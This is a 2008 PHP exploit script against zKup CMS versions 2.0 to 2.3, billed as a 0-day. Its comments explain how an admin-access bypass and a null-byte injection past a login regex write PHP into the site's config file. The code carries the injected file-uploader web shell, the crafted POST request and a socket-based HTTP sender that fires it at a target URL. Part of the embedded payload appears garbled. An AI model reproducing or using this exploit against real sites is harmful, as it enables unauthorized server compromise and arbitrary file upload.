`#!/usr/bin/php * Date: 03-08-2008 * Conditions: PHP Version, magic_quotes_gpc=Off * * This exploit spawn a php uploader in your victim's * server. * * Okay, you may need explanations: * * First, we can use administration without being admin * (see ./admin/configuration/modifier.php) * * Then, when we add an admin, it is saved in a php file, * named "./fichiers/config.php". * A vuln is present when the script controls $login value, * because it use this regex: #^[a-zA-Z0-9]+$# * in order to see if it's alphanumerical. * I bypassed this regex using a NULL POISON BYTE (%00), * and writing my upload script just after. * I finally put some lines in order not to * corrupt config.php. * */ print "\n"; print " zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n"; print " by Charles \"real\" F. \n\n"; if($argc<2) { print "usage: php zkup2_upload_exploit.php \n eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); } $url = $argv[1]; $code = ' if(isset($_POST[\'upload\'])) { if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) exit("Error (move_uploaded_file)"); else echo "File uploaded"; } if($_GET[\'up\']==1) { ?> "436ae61e82a236bd4771e184a556bf65","lvl"=>9);'; $restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300); $postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9"; print "[*] sending evil c0de ... "; if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n"; else print "failed.\n"; function post($url,$data,$get=1) { $result = ''; preg_match("#^http://([^/]+)(/.*)$#i",$url,$info); $host = $info[1]; $page = $info[2]; $fp = fsockopen($host, 80, &$errno, &$errstr, 30); $req = "POST $page HTTP/1.1\r\n"; $req .= "Host: $host\r\n"; $req .= "User-Agent: Mozilla Firefox\r\n"; $req .= "Connection: close\r\n"; $req .= "Content-type: application/x-www-form-urlencoded\r\n"; $req .= "Content-length: ".strlen( $data )."\r\n"; $req .= "\r\n"; $req .= $data."\r\n"; fputs($fp,$req); if($get) while(!feof($fp)) $result .= fgets($fp,128); fclose($fp); return $result; } ?> `

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